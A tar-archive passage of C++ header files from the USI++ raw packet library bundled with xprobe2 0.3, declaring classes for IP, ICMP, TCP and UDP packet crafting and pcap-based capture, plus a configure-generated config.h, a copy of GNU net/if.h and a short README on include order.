xprobe2-0.3/000755 001751 000000 00000000000 10271644024 013163 5ustar00mederwheel000000 000000 xprobe2-0.3/libs-external000755 001751 000000 00000000000 10271644024 015655 5ustar00mederwheel000000 000000 xprobe2-0.3/libs-external/USI++000755 001751 000000 00000000000 10271644024 016443 5ustar00mederwheel000000 000000 xprobe2-0.3/libs-external/USI++/usi++000755 001751 000000 00000000000 10271644024 017371 5ustar00mederwheel000000 000000 xprobe2-0.3/libs-external/USI++/usi++/config.h000644 001751 000000 00000004700 10271643766 021103 0ustar00mederwheel000000 000000 /* config.h. Generated by configure. */ /* config.h.in. Generated from configure.in by autoheader. */ /* Define to 1 if you have the header file. */ #define HAVE_FCNTL_H 1 /* Define to 1 if you have the header file. */ #define HAVE_INTTYPES_H 1 /* Define to 1 if you have the `nsl' library (-lnsl). */ /* #undef HAVE_LIBNSL */ /* Define to 1 if you have the `pcap' library (-lpcap). */ #define HAVE_LIBPCAP 1 /* Define to 1 if you have the `socket' library (-lsocket). */ /* #undef HAVE_LIBSOCKET */ /* Define to 1 if you have the header file. */ /* #undef HAVE_LINUX_FILTER_H */ /* Define to 1 if you have the header file. */ #define HAVE_MEMORY_H 1 /* pcap_setnonblock func is present */ #define HAVE_PCAP_SETNONBLOCK /* Define to 1 if you have the header file. */ #define HAVE_STDINT_H 1 /* Define to 1 if you have the header file. */ #define HAVE_STDLIB_H 1 /* Define to 1 if you have the header file. */ #define HAVE_STRINGS_H 1 /* Define to 1 if you have the header file. */ #define HAVE_STRING_H 1 /* Define to 1 if you have the header file. */ #define HAVE_SYS_IOCTL_H 1 /* Define to 1 if you have the header file. */ #define HAVE_SYS_STAT_H 1 /* Define to 1 if you have the header file. */ #define HAVE_SYS_TIME_H 1 /* Define to 1 if you have the header file. */ #define HAVE_SYS_TYPES_H 1 /* Define to 1 if you have the header file. */ #define HAVE_UNISTD_H 1 /* Define to the address where bug reports for this package should be sent. */ #define PACKAGE_BUGREPORT "" /* Define to the full name of this package. */ #define PACKAGE_NAME "" /* Define to the full name and version of this package. */ #define PACKAGE_STRING "" /* Define to the one symbol short name of this package. */ #define PACKAGE_TARNAME "" /* Define to the version of this package. */ #define PACKAGE_VERSION "" /* Define to 1 if you have the ANSI C header files. */ #define STDC_HEADERS 1 /* Define to 1 if you can safely include both and . */ #define TIME_WITH_SYS_TIME 1 /* Define to 1 if your processor stores words with the most significant byte first (like Motorola and SPARC, unlike Intel and VAX). */ /* #undef WORDS_BIGENDIAN */ /* Define to empty if `const' does not conform to ANSI C. */ /* #undef const */ /* Define to `unsigned' if does not define. */ /* #undef size_t */ xprobe2-0.3/libs-external/USI++/usi++/datalink.h000755 001751 000000 00000006461 10271643766 021436 0ustar00mederwheel000000 000000 /*** This Programs/Libraries are (C)opyright by Sebastian Krahmer. *** You may use it under the terms of the GPL. You should have *** already received the file COPYING that shows you your rights. *** Please look at COPYING for further license-details. *** *** THERE IS ABSOLUTELY NO WARRANTY. SO YOU USE IT AT YOUR OWN RISK. *** IT WAS WRITTEN IN THE HOPE THAT IT WILL BE USEFULL. I AM NOT RESPONSIBLE *** FOR ANY DAMAGE YOU MAYBE GET DUE TO USING MY PROGRAMS. ***/ #ifndef _DATALINK_H_ #define _DATALINK_H_ #include "usi-structs.h" #include "RX.h" #include //#include "config.h" namespace usipp { /*! \class Pcap * Describing a Datalink. */ class Pcap : public RX { private: struct timeval d_tv; time_t start; // Heavily used by libpcap int d_datalink; size_t d_framelen, d_snaplen; // pcap-descriptor pcap_t *d_pd; // netaddress and netmask bpf_u_int32 d_localnet, d_netmask; // The actual filter-program struct bpf_program d_filter; // The pcap-header for every packet fetched struct pcap_pkthdr d_phdr; // filled by init_device() char d_dev[10]; int d_has_promisc; // true when timed out bool d_timeout; protected: struct ether_header d_ether; char d_filter_string[1000]; public: /*! This constructor should be used to * initialize raw-datalink-objects, means not IP/TCP/ICMP etc. * We need this b/c unlike in derived classes, datalink::init_device() * cannot set a filter! */ Pcap(char *); Pcap(); /*! Copy-constructor */ Pcap(const Pcap &); virtual ~Pcap(); Pcap &operator=(const Pcap &); /*! Fill buffer with src-hardware-adress of actuall packet, * use 'datalink' to determine what HW the device is. * Now only ethernet s supportet, but it's extensinable. */ char *get_hwsrc(char *, size_t); /*! Fill buffer with dst-hardware-adress of actuall packet, * use 'datalink' to determine what HW the device is. * Now only ethernet s supportet, but it's extensinable. */ char *get_hwdst(char *, size_t); /*! Get protocol-type of ethernet-frame * Maybe moves to ethernet-class in future? */ u_int16_t get_etype(); /*! Return the actual datalink of the object. */ int get_datalink(); /*! Return the actual framlen of the object. * (framelen depends on datalink) */ int get_framelen(); /*! Initialize a device ("eth0" for example) for packet- * capturing. It MUST be called before sniffpack() is launched. * Set 'promisc' to 1 if you want the device running in promiscous mode. * Fetch at most 'snaplen' bytes per call. */ virtual int init_device(char *dev, int promisc, size_t snaplen); /*! set a new filter for capturing */ virtual int setfilter(char *filter); /*! sniff a packet */ virtual int sniffpack(void *, size_t); /*! Return HW-frame */ void *get_frame(void *, size_t); /*! Get pcap_t struct to obtain fileno etc for select. */ pcap_t *pcap() { return d_pd; } /*! Set a timeout. Implements RX::timeout() = 0. */ int timeout(struct timeval); /*! Returns true when recv() timed out */ bool timeout(); /* make pcap handle nonblocking */ bool set_nonblock(); int get_nonblock(); }; // class Datalink {} } // namespace usipp #endif // _DATALINK_H_ xprobe2-0.3/libs-external/USI++/usi++/icmp.h000755 001751 000000 00000005524 10271643766 020576 0ustar00mederwheel000000 000000 /*** This Programs/Libraries are (C)opyright by Sebastian Krahmer. *** You may use it under the terms of the GPL. You should have *** already received the file COPYING that shows you your rights. *** Please look at COPYING for further license-details. *** *** THERE IS ABSOLUTELY NO WARRANTY. SO YOU USE IT AT YOUR OWN RISK. *** IT WAS WRITTEN IN THE HOPE THAT IT WILL BE USEFULL. I AM NOT RESPONSIBLE *** FOR ANY DAMAGE YOU MAYBE GET DUE TO USING MY PROGRAMS. ***/ #ifndef _ICMP_H_ #define _ICMP_H_ #include "usi-structs.h" #include "datalink.h" #include "ip.h" namespace usipp { /*! \class ICMP icmp.h * \brief the ICMP-class */ /*! \example icmp_sniff.cc */ class ICMP : public IP { private: struct icmphdr icmphdr; public: /*! Expects host. */ ICMP(const char*); /*! Expects destination i network byte order */ ICMP(u_int32_t); virtual ~ICMP(); /*! Copy-Construktor */ ICMP(const ICMP &); /*! Assign-operator */ ICMP &operator=(const ICMP &); /*! Assign-operator */ ICMP &operator=(const IP &); /*! send an ICMP-packet containing 'payload' which * is 'paylen' bytes long */ virtual int sendpack(void*, size_t); /*! send a ICMP-packet with string 'payload' as payload. */ virtual int sendpack(char*); /*! send standard UNIX-like payload */ virtual int send_ping_payload(); /*! send the ICMP timestamp request payload */ virtual int send_timestamp_payload(); virtual int send_addrmask_payload(); /*! handle packets, that are NOT actually for the * local adress! */ virtual int sniffpack(void*, size_t); /*! Initialize a device ("eth0" for example) for packet- * capturing. It MUST be called before sniffpack() is launched. * Set 'promisc' to 1 if you want the device running in promiscous mode. * Fetch at most 'snaplen' bytes per call. */ virtual int init_device(char *, int, size_t); /*! Set the type-field in the actuall ICMP-packet. */ int set_type(u_int8_t); /*! Set ICMP-code. */ int set_code(u_int8_t); /*! Set id field in the actuall ICMP-packet */ int set_icmpId(u_int16_t); /*! Set the sequecenumber of the actuall ICMP-packet. */ int set_seq(u_int16_t); int set_gateway(u_int32_t); int set_mtu(u_int16_t); /*! Get the type-field from the actuall ICMP-packet. */ u_int8_t get_type(); /*! Get ICMP-code. */ u_int8_t get_code(); /*! Get the id field from actuall ICMP-packet. */ u_int16_t get_icmpId(); /*! Get the sequence-number of actuall ICMP-packet */ u_int16_t get_seq(); iphdr get_orig(); u_int32_t get_gateway(); u_int16_t get_mtu(); }; // class ICMP{} } // namespace usipp #endif // _ICMP_H_ xprobe2-0.3/libs-external/USI++/usi++/if.h000755 001751 000000 00000014341 10271643766 020241 0ustar00mederwheel000000 000000 /* Copyright (C) 1997, 1998 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Library General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Library General Public License for more details. You should have received a copy of the GNU Library General Public License along with the GNU C Library; see the file COPYING.LIB. If not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef _NET_IF_H #define _NET_IF_H 1 #include #include #include /* Standard interface flags. */ enum { IFF_UP = 0x1, /* Interface is up. */ #define IFF_UP IFF_UP IFF_BROADCAST = 0x2, /* Broadcast address valid. */ #define IFF_BROADCAST IFF_BROADCAST IFF_DEBUG = 0x4, /* Turn on debugging. */ #define IFF_DEBUG IFF_DEBUG IFF_LOOPBACK = 0x8, /* Is a loopback net. */ #define IFF_LOOPBACK IFF_LOOPBACK IFF_POINTOPOINT = 0x10, /* Interface is point-to-point link. */ #define IFF_POINTOPOINT IFF_POINTOPOINT IFF_NOTRAILERS = 0x20, /* Avoid use of trailers. */ #define IFF_NOTRAILERS IFF_NOTRAILERS IFF_RUNNING = 0x40, /* Resources allocated. */ #define IFF_RUNNING IFF_RUNNING IFF_NOARP = 0x80, /* No address resolution protocol. */ #define IFF_NOARP IFF_NOARP IFF_PROMISC = 0x100, /* Receive all packets. */ #define IFF_PROMISC IFF_PROMISC /* Not supported */ IFF_ALLMULTI = 0x200, /* Receive all multicast packets. */ #define IFF_ALLMULTI IFF_ALLMULTI IFF_MASTER = 0x400, /* Master of a load balancer. */ #define IFF_MASTER IFF_MASTER IFF_SLAVE = 0x800, /* Slave of a load balancer. */ #define IFF_SLAVE IFF_SLAVE IFF_MULTICAST = 0x1000, /* Supports multicast. */ #define IFF_MULTICAST IFF_MULTICAST IFF_PORTSEL = 0x2000, /* Can set media type. */ #define IFF_PORTSEL IFF_PORTSEL IFF_AUTOMEDIA = 0x4000 /* Auto media select active. */ #define IFF_AUTOMEDIA IFF_AUTOMEDIA }; /* The ifaddr structure contains information about one address of an interface. They are maintained by the different address families, are allocated and attached when an address is set, and are linked together so all addresses for an interface can be located. */ struct ifaddr { struct sockaddr ifa_addr; /* Address of interface. */ union { struct sockaddr ifu_broadaddr; struct sockaddr ifu_dstaddr; } ifa_ifu; struct iface *ifa_ifp; /* Back-pointer to interface. */ struct ifaddr *ifa_next; /* Next address for interface. */ }; #define ifa_broadaddr ifa_ifu.ifu_broadaddr /* broadcast address */ #define ifa_dstaddr ifa_ifu.ifu_dstaddr /* other end of link */ /* Device mapping structure. I'd just gone off and designed a beautiful scheme using only loadable modules with arguments for driver options and along come the PCMCIA people 8) Ah well. The get() side of this is good for WDSETUP, and it'll be handy for debugging things. The set side is fine for now and being very small might be worth keeping for clean configuration. */ struct ifmap { unsigned long int mem_start; unsigned long int mem_end; unsigned short int base_addr; unsigned char irq; unsigned char dma; unsigned char port; /* 3 bytes spare */ }; /* Interface request structure used for socket ioctl's. All interface ioctl's must have parameter definitions which begin with ifr_name. The remainder may be interface specific. */ struct ifreq { #define IFHWADDRLEN 6 #define IFNAMSIZ 16 union { char ifrn_name[IFNAMSIZ]; /* Interface name, e.g. "en0". */ } ifr_ifrn; union { struct sockaddr ifru_addr; struct sockaddr ifru_dstaddr; struct sockaddr ifru_broadaddr; struct sockaddr ifru_netmask; struct sockaddr ifru_hwaddr; short int ifru_flags; int ifru_ivalue; int ifru_mtu; struct ifmap ifru_map; char ifru_slave[IFNAMSIZ]; /* Just fits the size */ __caddr_t ifru_data; } ifr_ifru; }; #define ifr_name ifr_ifrn.ifrn_name /* interface name */ #define ifr_hwaddr ifr_ifru.ifru_hwaddr /* MAC address */ #define ifr_addr ifr_ifru.ifru_addr /* address */ #define ifr_dstaddr ifr_ifru.ifru_dstaddr /* other end of p-p lnk */ #define ifr_broadaddr ifr_ifru.ifru_broadaddr /* broadcast address */ #define ifr_netmask ifr_ifru.ifru_netmask /* interface net mask */ #define ifr_flags ifr_ifru.ifru_flags /* flags */ #define ifr_metric ifr_ifru.ifru_ivalue /* metric */ #define ifr_mtu ifr_ifru.ifru_mtu /* mtu */ #define ifr_map ifr_ifru.ifru_map /* device map */ #define ifr_slave ifr_ifru.ifru_slave /* slave device */ #define ifr_data ifr_ifru.ifru_data /* for use by interface */ #define ifr_ifindex ifr_ifru.ifru_ivalue /* interface index */ #define ifr_bandwidth ifr_ifru.ifru_ivalue /* link bandwidth */ #define ifr_qlen ifr_ifru.ifru_ivalue /* queue length */ /* Structure used in SIOCGIFCONF request. Used to retrieve interface configuration for machine (useful for programs which must know all networks accessible). */ struct ifconf { int ifc_len; /* Size of buffer. */ union { __caddr_t ifcu_buf; struct ifreq *ifcu_req; } ifc_ifcu; }; #define ifc_buf ifc_ifcu.ifcu_buf /* Buffer address. */ #define ifc_req ifc_ifcu.ifcu_req /* Array of structures. */ __BEGIN_DECLS /* Convert an interface name to an index, and vice versa. */ extern unsigned int if_nametoindex __P ((__const char *__ifname)); extern char *if_indextoname __P ((unsigned int __ifindex, char *__ifname)); /* Return a list of all interfaces and their indices. */ struct if_nameindex { unsigned int if_index; /* 1, 2, ... */ char *if_name; /* null terminated name: "eth0", ... */ }; extern struct if_nameindex *if_nameindex __P ((void)); /* Free the data returned from if_nameindex. */ extern void if_freenameindex __P ((struct if_nameindex *__ptr)); __END_DECLS #endif /* net/if.h */ xprobe2-0.3/libs-external/USI++/usi++/ip.h000755 001751 000000 00000011572 10271643766 020256 0ustar00mederwheel000000 000000 /*** This Programs/Libraries are (C)opyright by Sebastian Krahmer. *** You may use it under the terms of the GPL. You should have *** already received the file COPYING that shows you your rights. *** Please look at COPYING for further license-details. *** *** THERE IS ABSOLUTELY NO WARRANTY. SO YOU USE IT AT YOUR OWN RISK. *** IT WAS WRITTEN IN THE HOPE THAT IT WILL BE USEFULL. I AM NOT RESPONSIBLE *** FOR ANY DAMAGE YOU MAYBE GET DUE TO USING MY PROGRAMS. ***/ #ifndef _IP_H_ #define _IP_H_ #include "usi-structs.h" #include "datalink.h" #include "Layer2.h" #include namespace usipp { /*! \class IP * All about IP */ class IP : public Layer2 { protected: struct iphdr iph; char ipOptions[40]; struct sockaddr_in saddr; char host[1000]; char *reassemble(char *, int, int *); public: /*! Expects destination-adress and protocol */ IP(const char*, u_int8_t); // IP("foo.foo", IPPROTO_TCP); /*! Destination-adress in network-order */ IP(u_int32_t, u_int8_t); /*! expects ipheader */ IP(iphdr &iphh); /*! Destructor */ virtual ~IP(); /*! Returns headerlen/4. */ u_int8_t get_hlen() const; /*! returns IP-version. Should give 4 always. */ u_int8_t get_vers() const; /*! Get Type Of Service. */ u_int8_t get_tos() const; /*! Get total length of packet, including any data. * Return len in host-order. */ u_int16_t get_totlen() const; /*! Get id-field. */ u_int16_t get_id() const; /*! Get fragmentation offset. */ u_int16_t get_fragoff() const; /*!*/ u_int16_t get_fflags() const; /*! Get Time To Live field (TTL) * \example trace.cc */ u_int8_t get_ttl() const; /*! Get protocol, TCP or such. */ u_int8_t get_proto() const; /*! Get IP-header checksum */ u_int16_t get_sum() const; /*! Return the IP header checksum(meder) */ u_int16_t calc_ipsum(); /*! Get source-adress of packet, in network order. */ u_int32_t get_src() const; /*! Ditto, destination-adress. */ u_int32_t get_dst() const; /*! assig-operator */ IP &operator=(const IP&); /*! Copy-construktor */ IP(const IP&); /*! Get source-adress i human-readable-form. * Resolve to an hostname, if resolv==1. */ char *get_src(int resolv, char *buf, size_t buflen); /*! Ditto, destination-adress. */ char *get_dst(int resolv, char *buf, size_t buflen); /*! Set header-len in number of 32 bit words. 5 (5*4 = 20) in normal case. * Contructor does this for you, so you should not use this. */ int set_hlen(u_int8_t); /*! Set version-field. Normally not needed. */ int set_vers(u_int8_t); /*!*/ int set_tos(u_int8_t); /*! Set total length of packet. Not needed. */ int set_totlen(u_int16_t); /*! Set ID-field. Also not needed. */ int set_id(u_int16_t); /*!*/ int set_fragoff(u_int16_t); /*!*/ int set_fflags(u_int16_t); /*! Set time-to-live field. Not needed. */ int set_ttl(u_int8_t); /*! Set protocol. If you use TCP {} or such, you don't need to * do it yourself. */ int set_proto(u_int8_t); /*!*/ int set_sum(u_int16_t); // should NOT be used; just to be complete... /*! Set source-adress. Expects Network-ordered. */ int set_src(u_int32_t); /*! Ditto, destination. */ int set_dst(u_int32_t); /*! Set source-adress. */ int set_src(const char *ip_or_name); /*! Ditto, destination. Not needed if the destination given * in the constructor is OK. */ int set_dst(const char*); /*! Return complete IP header. * usefull for special ICMP packets */ iphdr get_iphdr() const; int set_iphdr(struct iphdr); /*! Send a Packet. */ virtual int sendpack(void *payload, size_t paylen); /*!*/ virtual int sendpack(char *pay_string); /*! Capture an packet from the net */ virtual int sniffpack(void *buf, size_t len); /*!*/ virtual int init_device(char *, int, size_t); friend bool operator== (const IP& left, const IP& right) { /* * XXX: leave IP options comparison for later */ return (left.get_src() == right.get_src() && left.get_dst() == right.get_dst()&& left.get_hlen() == right.get_hlen() && left.get_tos() == right.get_tos() && left.get_totlen() == right.get_totlen() && left.get_fragoff() == right.get_fragoff() && left.get_ttl() == right.get_ttl() && left.get_proto() == right.get_proto() && ((left.get_id() != 0 && right.get_id() != 0) || (left.get_id() == 0 && right.get_id() == 0)) ); } virtual std::string to_string(void); }; } // namespace #endif // _IP_H_ xprobe2-0.3/libs-external/USI++/usi++/Layer2.h000755 001751 000000 00000003543 10271643766 021003 0ustar00mederwheel000000 000000 /*** This Programs/Libraries are (C)opyright by Sebastian Krahmer. *** You may use it under the terms of the GPL. You should have *** already received the file COPYING that shows you your rights. *** Please look at COPYING for further license-details. *** *** THERE IS ABSOLUTELY NO WARRANTY. SO YOU USE IT AT YOUR OWN RISK. *** IT WAS WRITTEN IN THE HOPE THAT IT WILL BE USEFULL. I AM NOT RESPONSIBLE *** FOR ANY DAMAGE YOU MAYBE GET DUE TO USING MY PROGRAMS. ***/ #ifndef _LAYER2_H_ #define _LAYER2_H_ #include "config.h" #include "usi++/usi-structs.h" #include "RX.h" #include "TX.h" #include namespace usipp { /*! \class Layer2 * Describing layer 2 */ class Layer2 { private: RX *d_rx; // for receiving TX *d_tx; // for transmitting data public: /*! Give us a Layer 2! Default to Raw IP sockets and * pcap packet capturing. This MUST NOT be. You could also * say you want to use ethertap devices etc. */ Layer2(RX *r = NULL, TX *t = NULL); /*!*/ virtual ~Layer2(); Layer2(const Layer2&); /*! Actually, capture a packet */ virtual int sniffpack(void *, size_t); /*! Send a packet */ virtual int sendpack(void *buf, size_t len, struct sockaddr *); /*! Initialize a device for packet capturing */ virtual int init_device(char *dev, int promisc, size_t snaplen); /*! Set a filter rule */ int setfilter(char *f); /*! Set a timeout */ int timeout(struct timeval); /*! return was timeout? */ bool timeout(); /*! register a new transmitter, return the old */ TX *register_tx(TX *t) { TX *r = d_tx; d_tx = t; return r; } /*! register a new capturer, return the old */ RX *register_rx(RX *r) { RX *ret = d_rx; d_rx = r; return ret; } /*! return current TX object */ TX *tx() { return d_tx; } /*! return current RX object */ RX *rx() { return d_rx; } Layer2& operator=(const Layer2 &); }; } // namespace usipp #endif xprobe2-0.3/libs-external/USI++/usi++/README000755 001751 000000 00000002661 10271643766 020354 0ustar00mederwheel000000 000000 Purposes of the header-files ---------------------------- o .h (arp.h etc.) must be included by all programs that use except they include usi++.h (which is old style) It doesn't open the namespace usipp. o usi++.h this file contains all definitions which are needed by programs using USI++. It is just for compatibility purposes. Opens namespace usipp. o usi++ Makes the global functions visible: error-handling, checksum etc. Users should do #include #include // or whatever using namespace usipp; to get the power of USI++ :) o usi-structs.h For USI++ internal use. All cc-files from this lib include usi-structs.h because they'll find ip-struct etc. there. If you need a reliable declaration of such structs, you can also use usi-strcuts.h (coz on many OS' these strcuts are broken). After including usi-strcuts.h you almost don't need to include any other net-header as sys/socket.h or such. It's all putten into usipp-namespace which is not opened by usi-structs.h All C++-files in the USI++ library should include the files needed in the following order: "config.h" if necessary "usi-structs.h" which gives all needed protocol-headers and types (also includes sys/types.h) ".h" (datalink.h) to get the inherited-from types <...> other stuff needed, i.e. etc. xprobe2-0.3/libs-external/USI++/usi++/RX.h000755 001751 000000 00000002421 10271643766 020170 0ustar00mederwheel000000 000000 /*** This Programs/Libraries are (C)opyright by Sebastian Krahmer. *** You may use it under the terms of the GPL. You should have *** already received the file COPYING that shows you your rights. *** Please look at COPYING for further license-details. *** *** THERE IS ABSOLUTELY NO WARRANTY. SO YOU USE IT AT YOUR OWN RISK. *** IT WAS WRITTEN IN THE HOPE THAT IT WILL BE USEFULL. I AM NOT RESPONSIBLE *** FOR ANY DAMAGE YOU MAYBE GET DUE TO USING MY PROGRAMS. ***/ #ifndef _RX_H_ #define _RX_H_ #include "config.h" #include "usi++/usi-structs.h" #include namespace usipp { /*! \class RX * Receiving object * You can provide your own classes and register objects * via register_rx(). You must provide at least the 3 functions * below. */ class RX { public: RX() {} virtual ~RX() {} /*! Capture a packet from the network. * At most a given len. */ virtual int sniffpack(void *, size_t) = 0; /*! Init a device before capturing */ virtual int init_device(char *, int, size_t) = 0; /*! Set a filter of what must be captured */ virtual int setfilter(char *) = 0; /*! set a timeout */ virtual int timeout(struct timeval) = 0; /*! RX derived class must also tell user when timeout occurs */ virtual bool timeout() = 0; }; } // namespace usipp #endif xprobe2-0.3/libs-external/USI++/usi++/tcp.h000755 001751 000000 00000011215 10271643766 020426 0ustar00mederwheel000000 000000 /*** This Programs/Libraries are (C)opyright by Sebastian Krahmer. *** You may use it under the terms of the GPL. You should have *** already received the file COPYING that shows you your rights. *** Please look at COPYING for further license-details. *** *** THERE IS ABSOLUTELY NO WARRANTY. SO YOU USE IT AT YOUR OWN RISK. *** IT WAS WRITTEN IN THE HOPE THAT IT WILL BE USEFULL. I AM NOT RESPONSIBLE *** FOR ANY DAMAGE YOU MAYBE GET DUE TO USING MY PROGRAMS. ***/ #ifndef _TCP_H_ #define _TCP_H_ #include "usi-structs.h" #include "datalink.h" #include "ip.h" namespace usipp { /** \class TCP * All about TCP */ class TCP : public IP { private: struct tcphdr tcph; char tcpOptions[40]; unsigned int opt_offset; struct pseudohdr pseudo; /* * "cached" data from parsed TCP options */ mutable unsigned int timestamps[2], wscale; public: TCP(void); /*! Expects hostname or IP-adress. */ TCP(const char*); /*! Destructor */ virtual ~TCP(); /*! Assign-operator */ TCP &operator=(const TCP&); /*! Copy-constructor */ TCP(const TCP&); /*! Get sourceport of packet, in host-order. */ u_int16_t get_srcport() const; /*! Get destination-port in host-order */ u_int16_t get_dstport() const; /*! Get sequencenumber of packet. */ u_int32_t get_seq() const; /*! Get acknowlegde-number of packet. */ u_int32_t get_ack() const; /*! Get TCP-data offset, sometimes called TCP-header-length. * Should be 20 in most cases. */ u_int8_t get_off() const; /*! Get TCP-flags. Can be either of * TH_SYN * TH_ACK * TH_FIN * TH_RST * TH_PUSH * TH_URG * or any combination of these (althought common combinations are SYN|ACK or * similar) */ u_int8_t get_flags() const; /*!*/ u_int16_t get_win() const; /*!*/ u_int16_t get_tcpsum() const; /*! */ u_int16_t get_urg() const; u_int32_t get_wscale() const; /*! Set source-port */ int set_srcport(u_int16_t); /*! Set destination-port */ int set_dstport(u_int16_t); /*! */ int set_seq(u_int32_t); /*!*/ int set_ack(u_int32_t); /*!*/ int set_off(u_int8_t); /*!*/ int set_flags(u_int8_t); /*!*/ int set_win(u_int16_t); /*! Set TCP-checksum. * Doing these will prevent sendpack() from doing this for you. * It's not recommented that you do so, coz the sum will almost * be weak. */ int set_tcpsum(u_int16_t); /*!*/ int set_urg(u_int16_t); /*! Return complete TCP header. * Usefull for some kinds of ICMP messages */ tcphdr get_tcphdr() const; int set_tcphdr(struct tcphdr); /* The following functions are already defined in IP {}. * We need them too for TCP {}, and TCP{} calls IP::function() then. */ /*! Capture a packet from the net. */ virtual int sniffpack(void *buf, size_t buflen); /*! Send a packet. */ virtual int sendpack(void *payload, size_t paylen); /*! Send a string. */ virtual int sendpack(char *pay_string); /*! Just sets filter to TCP and calls Datalink::initdevice() */ virtual int init_device(char *, int, size_t); /*! Set a TCP-option of kind */ int set_tcpopt(char kind, unsigned char len, union tcp_options t); /*! Clear header from all options */ int reset_tcpopt(); /*! Fill buffer with 20 bytes, return the length of option-field. */ int get_tcpopt(char *); int set_tcpopt(char *, unsigned int); friend bool operator== (const TCP& left, const TCP& right) { char left_options[40], right_options[40]; bool options_matched=false; memset(left_options, 0, sizeof(left_options)); memset(right_options, 0, sizeof(right_options)); /* remove const'ness for a second */ left.get_parsed_tcpopt(left_options, sizeof(left_options)); right.get_parsed_tcpopt(right_options, sizeof(right_options)); if( (memcmp(left_options, right_options, sizeof(left_options))) == 0) { options_matched = true; } return (left.get_flags() == right.get_flags() && left.get_win() == right.get_win() && left.get_off() == right.get_off()&& left.get_urg() == right.get_urg() && options_matched && operator==((IP)left, (IP)right)); } int get_parsed_tcpopt(char *, unsigned int) const; unsigned int get_tcpopt_tsv(void) { return timestamps[0]; } unsigned int get_tcpopt_tse(void) { return timestamps[1]; } std::string to_string(void); }; } // namespace usipp #endif // _TCP_H_ xprobe2-0.3/libs-external/USI++/usi++/TX.h000755 001751 000000 00000002642 10271643766 020177 0ustar00mederwheel000000 000000 /*** This Programs/Libraries are (C)opyright by Sebastian Krahmer. *** You may use it under the terms of the GPL. You should have *** already received the file COPYING that shows you your rights. *** Please look at COPYING for further license-details. *** *** THERE IS ABSOLUTELY NO WARRANTY. SO YOU USE IT AT YOUR OWN RISK. *** IT WAS WRITTEN IN THE HOPE THAT IT WILL BE USEFULL. I AM NOT RESPONSIBLE *** FOR ANY DAMAGE YOU MAYBE GET DUE TO USING MY PROGRAMS. ***/ #ifndef _TX_H_ #define _TX_H_ #include "config.h" #include "usi++/usi-structs.h" #include namespace usipp { /*! \class TX * The transmitter lets you send packets on the net. * You can write your own and register them with * register_tx() but you must provide at least * sendpack(). Shipped with USI++ is TX_IP which * is in fact a RAW socket */ class TX { public: TX() {} virtual ~TX() {} /*! Do the send. You don't call this directly. IP::sendpack() etc * deliver the request to here. YOur task is only to provide a sendpack() * when you write your own TX classes. */ virtual int sendpack(void *, size_t, struct sockaddr *) = 0; /*! Must have capability to send broadcast packets. May be * just a dummy. */ virtual int broadcast() = 0; /*! set a timeout */ virtual int timeout(struct timeval) = 0; /*! RX derived class must also tell user when timeout occurs */ virtual bool timeout() = 0; }; } // namespace usipp #endif xprobe2-0.3/libs-external/USI++/usi++/TX_IP.h000755 001751 000000 00000002301 10271643766 020557 0ustar00mederwheel000000 000000 /*** This Programs/Libraries are (C)opyright by Sebastian Krahmer. *** You may use it under the terms of the GPL. You should have *** already received the file COPYING that shows you your rights. *** Please look at COPYING for further license-details. *** *** THERE IS ABSOLUTELY NO WARRANTY. SO YOU USE IT AT YOUR OWN RISK. *** IT WAS WRITTEN IN THE HOPE THAT IT WILL BE USEFULL. I AM NOT RESPONSIBLE *** FOR ANY DAMAGE YOU MAYBE GET DUE TO USING MY PROGRAMS. ***/ #ifndef _TX_IP_H_ #define _TX_IP_H_ #include "config.h" #include "usi++/usi-structs.h" #include "TX.h" #include namespace usipp { /*! \class TX_IP * This sends IP datagrams over * a raw socket */ class TX_IP : public TX { private: int rawfd; struct timeval tx_tv; bool tx_timeout; public: TX_IP() : rawfd(-1) { tx_timeout = false; } virtual ~TX_IP() {} /*! Send a packet on raw socket (starting with IP-hdr) */ virtual int sendpack(void *, size_t, struct sockaddr*); /*! Enable broadcast option on socket */ virtual int broadcast(); /*! Set a timeout. Implements TX::timeout() = 0. */ int timeout(struct timeval); /*! Returns true when sendto() timed out */ bool timeout(); }; } // namespace #endif xprobe2-0.3/libs-external/USI++/usi++/udp.h000755 001751 000000 00000004546 10271643766 020441 0ustar00mederwheel000000 000000 /*** This Programs/Libraries are (C)opyright by Sebastian Krahmer. *** You may use it under the terms of the GPL. You should have *** already received the file COPYING that shows you your rights. *** Please look at COPYING for further license-details. *** *** THERE IS ABSOLUTELY NO WARRANTY. SO YOU USE IT AT YOUR OWN RISK. *** IT WAS WRITTEN IN THE HOPE THAT IT WILL BE USEFULL. I AM NOT RESPONSIBLE *** FOR ANY DAMAGE YOU MAYBE GET DUE TO USING MY PROGRAMS. ***/ #ifndef _UDP_H_ #define _UDP_H_ #include "usi-structs.h" #include "datalink.h" #include "ip.h" namespace usipp { /** \class UDP * All about UDP. */ class UDP : public IP { private: struct udphdr d_udph; struct pseudohdr d_pseudo; public: /*! Expects Host. */ UDP(const char*); /*! Destructor */ virtual ~UDP(); /*! Copy-Constructor */ UDP(const UDP &); /*! Assign-operator */ UDP &operator=(const UDP&); /*! Assign-operator */ UDP &operator=(const IP&); /*! Get the sourceport of UDP-datagram. */ u_int16_t get_srcport(); /*! Get the destinationport of the UDP-datagram */ u_int16_t get_dstport(); /*! Return length of UDP-header plus contained data. */ u_int16_t get_len(); /*! Return the checksum of UDP-datagram. */ u_int16_t get_udpsum(); /*! Set the sourceport in the UDP-header. */ int set_srcport(u_int16_t); /*! Set the destinationport in the UDP-header. */ int set_dstport(u_int16_t); /*! Set the length of the UDP-datagramm. */ int set_len(u_int16_t); /*! Set the UDP-checksum. Calling this function with s != 0 * will prevent sendpack() from setting the checksum!!! */ int set_udpsum(u_int16_t); /*! Return complete UDP header. * Usefull for some kinds of ICMP messages */ udphdr get_udphdr(); /*! Send an UDP-datagramm, containing 'paylen' bytes of data. */ virtual int sendpack(void*, size_t); /*!*/ virtual int sendpack(char*); /*! Capture packets that are not for our host. */ virtual int sniffpack(void*, size_t); /*! Initialize a device ("eth0" for example) for packet- * capturing. It MUST be called before sniffpack() is launched. * 